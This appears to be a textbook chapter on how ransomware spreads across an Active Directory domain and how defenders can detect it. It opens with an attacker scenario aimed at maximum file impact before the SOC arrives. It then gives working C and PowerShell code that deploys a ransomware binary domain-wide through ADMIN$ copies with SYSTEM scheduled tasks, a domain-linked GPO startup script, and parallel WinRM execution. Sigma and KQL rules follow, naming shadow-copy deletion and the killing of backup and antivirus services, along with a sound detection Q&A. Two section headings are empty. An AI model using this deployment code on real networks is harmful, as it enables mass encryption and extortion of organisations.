Ransomware: Propagation and Defense
Modern enterprise ransomware doesn't encrypt a single machine — it spreads across the entire AD environment in hours or minutes before detonating simultaneously. This chapter covers the propagation techniques used by real ransomware groups (SMB share mapping, PsExec-style deployment, GPO-based mass execution), the pre-detonation checklist that operators run, the defense windows that organizations have at each stage, and the detection engineering that is the only viable protection before encryption begins.
You have Domain Admin in a 3,000-machine environment. You have 90 minutes before the SOC's morning shift arrives. You need to: drop the ransomware binary to all machines, delete all shadow copies on all machines, and trigger simultaneous encryption — so that no machine can be used to recover others, and the time between "encryption starts" and "first alert" is measured in seconds rather than minutes to allow maximum file impact.
Propagation Methods Comparison
SMB Share-Based Propagation
// Walk IP range, copy binary to ADMIN$ share, create scheduled task to run it.
// All using DA credentials. Fast to implement; noisy (many SMB connections).
#include <windows.h>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")
BOOL PropagateToHost(LPCWSTR target, LPCWSTR localBinary) {
// Build UNC path to ADMIN$ share
WCHAR remotePath[MAX_PATH];
swprintf_s(remotePath, L"\\\\%s\\ADMIN$\\wupdate.exe", target);
// Copy binary
if (!CopyFileW(localBinary, remotePath, FALSE)) {
wprintf(L"[!] copy failed to %s: %d\n", target, GetLastError());
return FALSE;
}
// Create remote scheduled task via NetScheduleJobAdd (legacy) or
// schtasks.exe — schtasks via WMI is cleaner for bulk ops
WCHAR cmd[512];
swprintf_s(cmd,
L"schtasks /create /s %s /ru SYSTEM /tn WinUpdate "
"/tr C:\\Windows\\wupdate.exe /sc once /st 00:01 /f",
target);
_wsystem(cmd);
// Trigger immediately
swprintf_s(cmd, L"schtasks /run /s %s /tn WinUpdate", target);
_wsystem(cmd);
return TRUE;
}
// Enumerate domain computers via NetServerEnum or LDAP (ch144 pattern)
// then call PropagateToHost for each in a thread pool for parallelism
GPO Mass Deployment (Silent Detonation)
# GPO-based deployment: create a Computer Startup script that runs the binary.
# All machines execute on next Group Policy refresh (gpupdate /force for immediate).
# From ch154: write ScheduledTasks.xml ImmediateTaskV2 to SYSVOL.
# PowerShell — create GPO, link to whole domain, write startup script:
Import-Module GroupPolicy
$gpo = New-GPO -Name "WindowsSecurityUpdate"
New-GPLink -Name "WindowsSecurityUpdate" -Target "dc=corp,dc=local" -LinkEnabled Yes
# Copy ransomware binary to SYSVOL:
$sysvolPath = "\\corp.local\SYSVOL\corp.local\scripts"
Copy-Item .\ransomware.exe "$sysvolPath\wupdate.exe"
# Write scripts.ini (startup script pointer):
$gpoId = $gpo.Id.ToString("B").ToUpper()
$gptPath = "\\corp.local\SYSVOL\corp.local\Policies\$gpoId\Machine\Scripts"
New-Item -ItemType Directory -Force -Path $gptPath | Out-Null
@"
[Startup]
0CmdLine=\\corp.local\SYSVOL\corp.local\scripts\wupdate.exe
0Parameters=
"@ | Set-Content "$gptPath\scripts.ini"
# Increment GPT.INI version so all clients pull the update:
$gptIni = "\\corp.local\SYSVOL\corp.local\Policies\$gpoId\GPT.INI"
$content = Get-Content $gptIni
$content = $content -replace "Version=(\d+)", { "Version=$([int]$_.Groups[1].Value + 1)" }
Set-Content $gptIni $content
# Force immediate application:
Invoke-GPUpdate -Computer * -Force -RandomDelayInMinutes 0
PsExec-Style Parallel Execution
# Using Invoke-Command (WinRM) for parallel ransomware trigger across AD:
# Requires DA and WinRM access (port 5985 open, or pre-enabled in GPO)
$computers = (Get-ADComputer -Filter * -SearchBase "DC=corp,DC=local").Name
$cred = Get-Credential
# Parallel execution via Invoke-Command -AsJob -ThrottleLimit
Invoke-Command -ComputerName $computers -Credential $cred `
-ScriptBlock {
Start-Process "C:\Windows\wupdate.exe" -WindowStyle Hidden
} -ThrottleLimit 200 -AsJob | Wait-Job
# PsExec (Sysinternals) style C implementation: see ch147 WMI lateral movement
# or ch139 for PsExec service-install pattern.
# Key: service installed as SYSTEM, binary dropped to ADMIN$, started remotely.
Pre-Detonation Operator Checklist
Attack Timeline and Defender Windows
Detection Engineering
title: Mass Scheduled Task Creation Across Multiple Hosts (Ransomware Staging)
logsource:
product: windows
service: security
detection:
selection:
EventID: 4698 # Scheduled task created
TaskName|contains:
- 'WinUpdate'
- 'WindowsUpdate'
- 'Microsoft'
timeframe: 5m
condition: selection | count() by TaskName > 10
level: critical
title: Ransomware Pre-Stage — Backup Service Kill Chain
logsource:
product: windows
category: process_creation
detection:
vss:
CommandLine|contains:
- 'vssadmin delete'
- 'shadowcopy delete'
backup:
CommandLine|contains:
- 'wbadmin delete'
- 'net stop "Veeam'
- 'taskkill.*MsMpEng'
condition: vss or backup
level: critical
tags: [attack.impact, T1490]
-- MDE KQL: detect coordinated ransomware staging across devices
let staging_window = 30min;
let vss_delete = DeviceProcessEvents
| where Timestamp > ago(1h)
| where ProcessCommandLine has_any ("vssadmin", "shadowcopy")
| summarize vss_hosts = dcount(DeviceName);
let task_create = DeviceEvents
| where ActionType == "ScheduledTaskCreated"
| where Timestamp > ago(1h)
| summarize task_hosts = dcount(DeviceName), unique_tasks = dcount(ScheduledTaskName);
vss_delete
| join kind=inner task_create on 1==1
| where vss_hosts > 5 and task_hosts > 5
| project vss_hosts, task_hosts, unique_tasks,
alert = "Ransomware staging pattern — immediate response required"
Q&A
What is the single most effective detection control that would stop a domain-wide ransomware deployment, and why don't most organizations have it?
The single most effective detection control is real-time alerting on Group Policy Object modification events — specifically Windows Security Event 5136 (A directory service object was modified) and 4719 (System audit policy was changed) correlated with the creating process and account. When ransomware operators use the GPO deployment method (LockBit 2.0, Royal, and others), they must write a new GPO to the SYSVOL share and link it to domain OUs. This requires AD write operations that generate 5136 events with predictable object class (groupPolicyContainer) and the creating account. A Group Policy Object created by any account that is not in a designated "GPO Administrators" group, at any time other than a scheduled change window, is a critical immediate alert.
More broadly: alerting on any new GPO linking to domain-root OUs outside of authorized change windows would catch the majority of GPO-based ransomware deployments within seconds of the attacker's first write. The attacker must link to a high-level OU to reach all machines; that's the high-value pivot point for detection.
Why most organizations lack this detection: (1) GPO change noise — large organizations have many IT admins making frequent legitimate GPO changes, making alerting on all GPO modifications too noisy without a formal change approval system. (2) Event 5136 is off by default — Directory Service Changes auditing must be manually enabled in Default Domain Controllers Policy and specifically configured to audit groupPolicyContainer object modifications. Most organizations enable only basic security auditing. (3) SIEM parsing complexity — Event 5136 requires XML parsing of the extended event data to extract the specific attribute changed; generic SIEM configurations don't parse this granularly. The practical recommendation for detection engineers: enable DS Changes auditing, build a specific rule for 5136 where the object class is groupPolicyContainer and the attribute is gPCFileSysPath or gPCMachineExtensionNames, and alert immediately when the modifying account is not in a defined admin tier. This rule would have fired on every GPO-based ransomware deployment known in the public record.